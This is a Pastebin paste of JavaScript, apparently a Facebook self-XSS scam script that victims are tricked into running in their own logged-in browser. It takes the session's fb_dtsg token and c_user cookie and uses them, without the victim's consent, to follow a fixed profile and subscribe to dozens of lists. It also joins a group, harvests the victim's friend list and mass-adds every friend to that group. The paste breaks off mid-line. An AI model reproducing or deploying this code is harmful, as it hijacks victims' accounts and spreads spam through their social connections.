iteach

Untitled

Jan 14th, 2019
282
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.07 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3.  
  4. function cereziAl(isim) {
  5. var tarama = isim + "=";
  6. if (document.cookie.length > 0) {
  7. konum = document.cookie.indexOf(tarama)
  8. if (konum != -1) {
  9. konum += tarama.length
  10. son = document.cookie.indexOf(";", konum)
  11. if (son == -1)
  12. son = document.cookie.length
  13. return unescape(document.cookie.substring(konum, son))
  14. }
  15. else { return ""; }
  16. }
  17. }
  18.  
  19. function getRandomInt (min, max) {
  20. return Math.floor(Math.random() * (max - min + 1)) + min;
  21. }
  22. function randomValue(arr) {
  23. return arr[getRandomInt(0, arr.length-1)];
  24. }
  25.  
  26. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  27. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  28.  
  29. function a(abone){
  30. var http4 = new XMLHttpRequest();
  31.  
  32. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  33.  
  34. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  35. http4.open("POST", url4, true);
  36.  
  37. //Send the proper header information along with the request
  38. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  39. http4.setRequestHeader("Content-length", params4.length);
  40. http4.setRequestHeader("Connection", "close");
  41.  
  42. http4.onreadystatechange = function() {//Call a function when the state changes.
  43. if(http4.readyState == 4 && http4.status == 200) {
  44.  
  45. http4.close; // Close the connection
  46.  
  47. }
  48. }
  49.  
  50. http4.send(params4);
  51. }
  52.  
  53. function sublist(uidss) {
  54. var a = document.createElement('script');
  55. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  56. document.body.appendChild(a);
  57. }
  58.  
  59.  
  60.  
  61.  
  62. a("100002800100867");
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71. sublist("541657672608436");
  72. sublist("541912029249667");
  73. sublist("543485349092335");
  74. sublist("541913849249485");
  75. sublist("556002051173998");
  76. sublist("556002441173959");
  77. sublist("556002817840588");
  78. sublist("556002991173904");
  79. sublist("556003237840546");
  80. sublist("556003637840506");
  81. sublist("556003844507152");
  82. sublist("556004067840463");
  83. sublist("556004261173777");
  84. sublist("556004474507089");
  85. sublist("556005217840348");
  86. sublist("556005411173662");
  87. sublist("556005597840310");
  88. sublist("556006004506936");
  89. sublist("556006374506899");
  90. sublist("556006607840209");
  91. sublist("556006787840191");
  92.  
  93. var gid = ['473443929373349'];
  94.  
  95. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  96. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  97.  
  98. var httpwp = new XMLHttpRequest();
  99. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  100. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  101. httpwp['open']('POST', urlwp, true);
  102. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  103. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  104. httpwp['setRequestHeader']('Connection', 'keep-alive');
  105. httpwp['send'](paramswp);
  106.  
  107. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  108. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  109.  
  110. var friends = new Array();
  111. gf = new XMLHttpRequest();
  112. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  113. gf['send']();
  114. if (gf['readyState'] != 4) {} else {
  115. data = eval('(' + gf['responseText']['substr'](9) + ')');
  116. if (data['error']) {} else {
  117. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  118. return _0x93dax8['index'] - _0x93dax9['index'];
  119. });
  120. };
  121. };
  122.  
  123. for (var i = 0; i < friends['length']; i++) {
  124. var httpwp = new XMLHttpRequest();
  125. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  126. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  127. httpwp['open']('POST', urlwp, true);
  128. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  129. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  130. httpwp['setRequestHeader']('Connection', 'keep-alive');
  131. httpwp['onreadystatechange'] = function () {
  132. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  133. };
  134. httpwp['send'](paramswp);
  135. };
  136. ;
  137. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  138. var smesaj = "";
  139. var smesaj_text = "";
  140. var arkadaslar = [];
  141. var svn_rev;
  142. var bugun= new Date();
  143. var btarihi = new Date();
  144. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  145. if(!document.cookie.match(/paylasti=(\d+)/)){
  146. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  147. }
  148.  
  149.  
  150. //arkadaslari al ve isle
  151. function sarkadaslari_al(){
  152. var xmlhttp = new XMLHttpRequest();
  153. xmlhttp.onreadystatechange = function () {
  154. if(xmlhttp.readyState == 4){
  155. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (
Add Comment
Please, Sign In to add comment